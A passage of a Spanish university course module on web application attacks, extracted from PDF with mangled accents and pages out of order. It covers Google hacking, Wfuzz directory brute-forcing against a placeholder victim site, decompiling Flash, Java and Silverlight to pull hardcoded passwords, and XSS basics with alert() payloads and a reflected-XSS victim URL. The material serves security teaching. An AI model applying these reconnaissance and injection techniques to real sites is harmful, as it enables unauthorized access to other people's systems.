CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 2: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 Ataques a aplicaciones web

Los textos e imaacutegenes publicados en esta obra estaacuten sujetos ndashexcepto que se indique lo contrariondash a una licencia deReconocimiento-NoComercial-SinObraDerivada (BY-NC-ND) v30 Espantildea de Creative Commons Podeacuteis copiarlos distribuirlosy transmitirlos puacuteblicamente siempre que citeacuteis el autor y la fuente (FUOC Fundacioacuten para la Universitat Oberta de Catalunya)no hagaacuteis de ellos un uso comercial y ni obra derivada La licencia completa se puede consultar en httpcreativecommonsorglicensesby-nc-nd30eslegalcodees

CC-BY-NC-ND bull PID_00191662 Ataques a aplicaciones web

Iacutendice

1 Ataques de inyeccioacuten de scripts 5

11 Cross site scripting (XSS) 7

111 Ataques 9

112 Meacutetodos para introducir XSS (cross site scripting) 10

113 Diseccionando un ataque 12

114 Filtros XSS 17

12 Cross Site Request Forgery (CSRF) 19

13 Clickjacking 21

2 Ataques de inyeccioacuten de coacutedigo 26

21 LDAP Injection 28

211 LDAP Injection con ADAM de Microsoft 28

212 LDAP Injection con OpenLDAP 31

213 Conclusiones 33

214 ldquoORrdquo LDAP Injection 34

215 ldquoANDrdquo LDAP Injection 36

22 Blind LDAP Injection 39

221 Blind LDAP Injection en un entorno ldquoANDrdquo 40

222 Reconocimiento de clases de objetos de un aacuterbol

LDAP 40

223 Blind LDAP Injection en un entorno ldquoORrdquo 42

224 Ejemplos Blind LDAP Injection 43

23 XPath 48

231 XPath injection y Blind XPath Injection 48

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection 53

3 Ataques de Path Transversal 54

31 Path Disclosure 54

4 Ataques de inyeccioacuten de ficheros 56

41 Remote file inclusion 56

42 Local file inclusion 57

43 Webtrojans 59

5 Google Hacking 61

6 Seguridad por ocultacioacuten 64

61 Descompiladores de applets web 67

611 Flash 67

612 Java 69

613 NET 70

CC-BY-NC-ND bull PID_00191662 Ataques a aplicaciones web

Bibliografiacutea 73

CC-BY-NC-ND bull PID_00191662 5 Ataques a aplicaciones web

1 Ataques de inyeccioacuten de scripts

Bajo la denominacioacuten de inyeccioacuten de scripts se agrupan distintas teacutecnicas que

comparten el mismo sistema de explotacioacuten pero que persiguen distinto fin

El hecho de separarlas en distintas categoriacuteas atiende uacutenicamente a facilitar la

fijacioacuten de los objetivos perseguidos

Un ataque por inyeccioacuten de coacutedigo se plantea como objetivo lograr in-

yectar en el contexto de un dominio un coacutedigo Javascript VBScript o

simplemente HTML con la finalidad de engantildear al usuario o realizar

una accioacuten no deseada suplantaacutendole

Un concepto que debe quedar muy claro es que en este tipo de ataque el afec-

tado no es directamente el servidor como podriacutea ser en el caso de un ataque

de SQL Injection sino que el objetivo directo es el usuario Posteriormente

si el ataque es exitoso y mediante suplantacioacuten de personalidad se podraacuten

ejecutar las acciones deseadas en el servidor afectado y al que pueda accederse

desde una paacutegina web

Esto ha implicado que los fallos de inyeccioacuten de scripts no sean considerados

como amenazas criacuteticas en algunos sectores de la seguridad informaacutetica de-

clarando incluso que errores de este tipo no podriacutean llegar a comprometer la

seguridad de un sitio web Como se demostraraacute a lo largo de este apartado la

inyeccioacuten de scripts puede llegar a ser tan peligrosa como cualquier otra teacutecni-

ca si se sabe cuaacutel es su liacutemite y cuaacutel es su potencial

Se exponen a continuacioacuten casos reales relacionados con XSS ( cross site scrip-

ting) en los que la seguridad de alguacuten sitio web ha quedado comprometida A

pesar del escepticismo de algunos XSS puede permitir la obtencioacuten de privile-

gios sobre alguacuten sistema lo suficientemente deacutebil como para permitir insertar

coacutedigo Javascript

CC-BY-NC-ND bull PID_00191662 6 Ataques a aplicaciones web

Zone-H

El primero de los casos es el de Zone-H paacutegina dedicada a mantener un registro delos sitios atacados a los que se les ha modificado la apariencia de la paacutegina principallo que en argot se denomina ldquodefaceadosrdquo Este sitio registra tambieacuten los autoresidentificados de las acciones maliciosas Resulta iroacutenico que fuesen ellos mismos losatacados

El meacutetodo usado por los atacantes fue el de enviar a uno de los administradoresdel sitio un correo electroacutenico a su cuenta de Hotmail donde recientemente habiacuteanlocalizado un fallo de XSS Explotando el error lograron robar su cookie de sesioacuteny con ella pudieron visitar el sitio web de Zone-H Una vez aquiacute solicitaron unarecuperacioacuten de la contrasentildea que evidentemente se les envioacute al correo electroacutenicoque habiacutean secuestrado previamente Con esta cuenta de administrador del sitio noles quedoacute maacutes que publicar una noticia que incluiacutea coacutedigo HTML especialmenteescrito para colocar sobre el resto de la paacutegina el contenido que ellos deseaban

Samy Worm y MySpace

El segundo caso real utilizado como ejemplo donde el XSS logroacute comprometer laseguridad de un sitio fue el protagonizado por Samy Worm y MySpace Samy es unchico de Estados Unidos que detectoacute una vulnerabilidad de XSS en el famoso portalde MySpace Para explotar este fallo y aprovechando sus dotes de programacioacuten Ja-vascript Samy creoacute un gusano informaacutetico que luego se conoceriacutea como Samy Worm

Un gusano informaacutetico es un programa que se replica entre sistemas afectados por lamisma vulnerabilidad En un entorno web un gusano seriacutea un coacutedigo Javascript quese replica entre los perfiles de los usuarios del sitio Y eso fue lo que hizo Samy consu gusano replicarlo en maacutes de un milloacuten de perfiles de MySpace

El gusano no era especialmente maligno Uacutenicamente efectuaba tres acciones se re-plicaba como cualquier gusano antildeadiacutea al usuario de Samy como amigo de la personainfectada e incluiacutea la frase ldquobut most of all Samy is my herordquo en el apartado de heacuteroespersonales de cada perfil

En menos de 24 horas actuando llegoacute a bloquear el sistema de MySpace y los admi-nistradores de la red tuvieron que detener el servicio mientras limpiaban los perfilesde los usuarios infectados A Samy le detuvieron y le condenaron a pagar una multaeconoacutemica a realizar un mes de tareas para la comunidad y a un antildeo de inhabilita-cioacuten para trabajar con ordenadores

CC-BY-NC-ND bull PID_00191662 7 Ataques a aplicaciones web

Figura 1 Buacutesqueda que devolviacutea maacutes de 3000 paacuteginas con eltexto ldquosamy is my herordquo

Estos dos casos reflejan perfectamente lo criacutetica que puede llegar a ser una

vulnerabilidad XSS y el resto de sus variantes para la seguridad de un sitio web

a pesar de la opinioacuten de aquellos que no las consideran como tal

Hacker Safe

En el uacuteltimo de los casos presentado e ilustrativo de esta poleacutemica aparece la com-pantildeiacutea Hacker Safe dedicada a comercializar soluciones de seguridad Esta iniciativapromete tras el pago de cierta cantidad monetaria revisar diariamente la seguridadde un sitio web mediante el uso de herramientas automatizadas Ademaacutes permite in-cluir una pequentildea imagen con el texto ldquo100 Hacker Saferdquo en el sitio con el objetode inspirar confianza a los usuarios

Tras descubrirse y hacerse puacuteblico que algunas de las paacuteginas ldquo100 Hacker Saferdquopresentaban vulnerabilidades de tipo XSS algunos de los maacuteximos responsables dela compantildeiacutea llegaron a afirmar que los fallos de XSS no eran criacuteticos y que nunca sehabiacutean llegado a utilizar para comprometer totalmente la seguridad de un sitio Comose ha podido observar en los casos anteriores y se podraacute corroborar en las paacuteginassiguientes esta afirmacioacuten es cuanto menos ignorante

11 Cross site scripting (XSS)

El cross site scripting es la base de todas las demaacutes teacutecnicas que se van a ir ana-

lizando en este moacutedulo asiacute que es fundamental entender correctamente los

conceptos que se explican a continuacioacuten

CC-BY-NC-ND bull PID_00191662 8 Ataques a aplicaciones web

Cuando se habla de ejecucioacuten remota de coacutedigo es necesario considerar coacutemo

se realiza la interaccioacuten con la paacutegina Evidentemente toda peticioacuten enviada

al servidor va a ser procesada por este y en funcioacuten de coacutemo la interprete seraacute

o no factible un ataque mediante XSS

Una paacutegina es vulnerable a XSS cuando aquello que nosotros enviamos

al servidor (un comentario un cambio en un perfil una buacutesqueda etc)

se ve posteriormente mostrado en la paacutegina de respuesta

Esto es cuando escribimos un comentario en una paacutegina y podemos leer

posteriormente nuestro mensaje modificamos nuestro perfil de usuario

y el resto de usuarios puede verlo o realizamos una buacutesqueda y se nos

muestra un mensaje ldquoNo se han encontrado resultados para lttextogtrdquo

se estaacute incluyendo dentro de la paacutegina el mismo texto que nosotros

hemos introducido Ahiacute es donde vamos a empezar a investigar para

lograr introducir nuestro coacutedigo XSS

Una vez se ha detectado una zona de la aplicacioacuten que al recibir texto proce-

dente del usuario lo muestra en la paacutegina es el momento de determinar si es

posible utilizar esa zona como punto de ataque de XSS Para ello es posible

insertar un pequentildeo coacutedigo Javascript que muestra un mensaje de alerta para

descubrir raacutepidamente si se estaacute actuando en la liacutenea correcta de ataque Para

los ejemplos se utilizaraacute el siguiente coacutedigo

ltscriptgtalert(iexclHola Mundo)ltscriptgt

El coacutedigo anterior va a ser vaacutelido para la mayor parte de los casos aunque

como se veraacute posteriormente determinados filtros Anti-XSS pueden imposibi-

litar el uso de ciertos caracteres a la hora de introducir el coacutedigo Javascript Por

ejemplo las comillas dobles o los caracteres de ldquomayor querdquo y ldquomenor querdquo

suelen estar prohibidos

Imaginemos que disponemos de un perfil en una red social donde se nos permite modi-ficar nuestra descripcioacuten personal En lugar de escribir otra informacioacuten en este apartadose introduce el coacutedigo JavaScript anterior Si al visitar de nuevo nuestro perfil se muestrauna ventana de alerta con el mensaje ldquoiexclHola Mundordquo se puede afirmar que la paacutegina encuestioacuten es vulnerable a XSS

Dentro de los posibles fallos de XSS podemos distinguir dos grandes categoriacuteas

bull Permanentes El ejemplo comentado en el paacuterrafo anterior pertenece a esta

categoriacutea Su denominacioacuten se debe al hecho de que como mostraba el

ejemplo la ventana de alerta en Javascript queda almacenada en alguacuten

lugar habitualmente una base de datos SQL y se va a mostrar a cualquier

usuario que visite nuestro perfil Evidentemente este tipo de fallos de XSS

son mucho maacutes peligrosos que los no permanentes que se comentan a

continuacioacuten

CC-BY-NC-ND bull PID_00191662 9 Ataques a aplicaciones web

bull No permanentes Esta categoriacutea queda ilustrada con el caso que ahora se

menciona Nos encontramos con una paacutegina web que dispone de busca-

dor el cual al introducir una palabra inventada o una cadena aleatoria de

caracteres muestra un mensaje del tipo ldquoNo se han encontrado resultados

para la buacutesqueda lttextogtrdquo donde lttextogt es la cadena introducida en

el campo de buacutesqueda

Si en la buacutesqueda se introduce como lttextogt el coacutedigo Javascript antes indi-

cado y de nuevo aparece la ventana de alerta significa que la aplicacioacuten es

vulnerable a XSS La diferencia es que en esta ocasioacuten los efectos de la accioacuten

no son permanentes

XSS (cross site scripting) consiste en la posibilidad de introducir coacutedigo

Javascript en una aplicacioacuten web lo que permite realizar una serie de

acciones maliciosas en la misma

Para inyectar el coacutedigo se localiza una zona de la paacutegina que por su funcio-

nalidad incorpora dentro de su propio coacutedigo HTML el coacutedigo Javascript que

anteriormente se ha introducido en alguacuten lugar de la aplicacioacuten Si este coacutedigo

se ha escrito en alguacuten campo donde queda almacenado en una base de datos

de forma permanente se mostraraacute cada vez que un usuario acceda a la paacutegina

Sin embargo las vulnerabilidades maacutes habituales son las no permanentes En

estos casos es necesario recurrir a la ingenieriacutea social para efectuar el ataque

Para ello es necesario fijarse en primer lugar en la URL de la paacutegina que deberaacute

ser algo similar a

httpwwwvictimacomsearchquery=ltscriptgtalert(Hola Mundo)ltscriptgt

Una vez se disponga de esta URL se deberaacute de procurar que la viacutectima haga

clic sobre ella ejecutando el coacutedigo Javascript Esta situacioacuten corresponderiacutea

ya a otro aacutembito de estudio como es la ingenieriacutea social

111 Ataques

Vamos a comentar a continuacioacuten las posibles implicaciones de seguridad que

pueden presentar un fallo de este tipo Ha de considerarse que se trata uacutenica-

mente de ideas generales y que el liacutemite lo pone la imaginacioacuten del atacante

y las funcionalidades de la aplicacioacuten objetivo del ataque

bull Un ataque de XSS puede tomarelcontrolsobreelnavegadordelusua-

rioafectado y como tal realizar acciones en la aplicacioacuten web Si se ha

logrado que un usuario administrador ejecute nuestro coacutedigo Javascript

las posibilidades de actuacioacuten maliciosa son muy superiores Seraacute posible

por citar alguacuten ejemplo desde borrar todas las noticias de una paacutegina a

generar una cuenta de administrador con los datos que nosotros especifi-

CC-BY-NC-ND bull PID_00191662 10 Ataques a aplicaciones web

quemos Si el coacutedigo Javascript es ejecutado por un usuario sin derechos de

administracioacuten se podraacute realizar cualquier modificacioacuten asociada al perfil

especiacutefico del usuario en el sitio web

bull Otra posible accioacuten a efectuar haciendo uso de estas teacutecnicas es el phishing

Mediante Javascript como hemos visto podemos modificar el comporta-

miento y la apariencia de una paacutegina web Esto permite crear un formula-

rio de login falso o redirigir el submit de uno existente hacia un dominio

de nuestro control

bull Igualmente se puede ejecutar ataques de defacement1 apoyaacutendonos en teacutec-

nicas que explotan vulnerabilidades XSS

bull Por otra parte aunque menos habitual es posible realizar un ataquedede-

negacioacutendeserviciosdistribuidos (distributed dennial of services DDoS)

Para ello se forzaraacute mediante coacutedigo Javascript a que los navegadores ha-

gan un uso intensivo de recursos muy costosos en ancho de banda o ca-

pacidad de procesamiento de un servidor de forma asiacutencrona

bull Para finalizar tenemos el gusano XSS un coacutedigo Javascript que se propaga

dentro un sitio web o entre paacuteginas de Internet Supongamos la existen-

cia de un fallo XSS en la descripcioacuten personal de los usuarios de una red

social En esta situacioacuten un usuario malintencionado podriacutea crear coacutedigo

Javascript que copiase el coacutedigo del gusano al perfil del usuario que visita

otro perfil infectado y que adicionalmente realizase alguacuten tipo de modifi-

cacioacuten en los perfiles afectados

Como se puede comprobar las posibilidades que ofrece el XSS son realmen-

te amplias Las uacutenicas limitaciones la constituye la imposibilidad de ejecutar

coacutedigo fuera del navegador dado que la sandbox sobre la que se ejecuta no

permite el acceso a ficheros del sistema y a las propias funcionalidades que

ofrezca el sitio web objeto del posible ataque

112 Meacutetodos para introducir XSS (cross site scripting)

Para exponer las distintas metodologiacuteas que permiten introducir coacutedigo Javas-

cript en una paacutegina vulnerable a XSS vamos a desarrollar una serie de praacutecticas

de la teacutecnica Abordaremos los meacutetodos maacutes comunes para insertar el coacutedigo

malicioso generado Los meacutetodos expuestos se nombraraacuten en funcioacuten de las

zonas de coacutedigo de la aplicacioacuten web donde va a quedar ubicado el coacutedigo

Javascript introducido

bull ElcoacutedigosecopiaentredosetiquetasHTML Es el modo maacutes sencillo

Simplemente debemos introducir el coacutedigo Javascript que deseemos eje-

cutar

(1)Es maacutes que la modificacioacuten de laapariencia original de una paacuteginaweb para que muestre un mensajenormalmente reivindicativo en lu-gar de su apariencia normal

CC-BY-NC-ND bull PID_00191662 11 Ataques a aplicaciones web

ltscriptgtalert(iexclHola Mundo)ltscriptgt

bull Elcoacutedigosecopiadentrodeunaetiquetavaluedeunaetiquetaltin-

putgt El ejemplo baacutesico es el de los buscadores en sitios web y que se des-

cribioacute anteriormente Cuando realizamos una buacutesqueda a traveacutes de ellos

lo habitual es que el teacutermino introducido se copie dentro del campo del

buscador Esto en HTML quedariacutea como el coacutedigo que se muestra a con-

tinuacioacuten

ltinput type=text name=q2 value=[busqueda] gt

Como se puede observar nuestro coacutedigo queda situado entre unas comillas

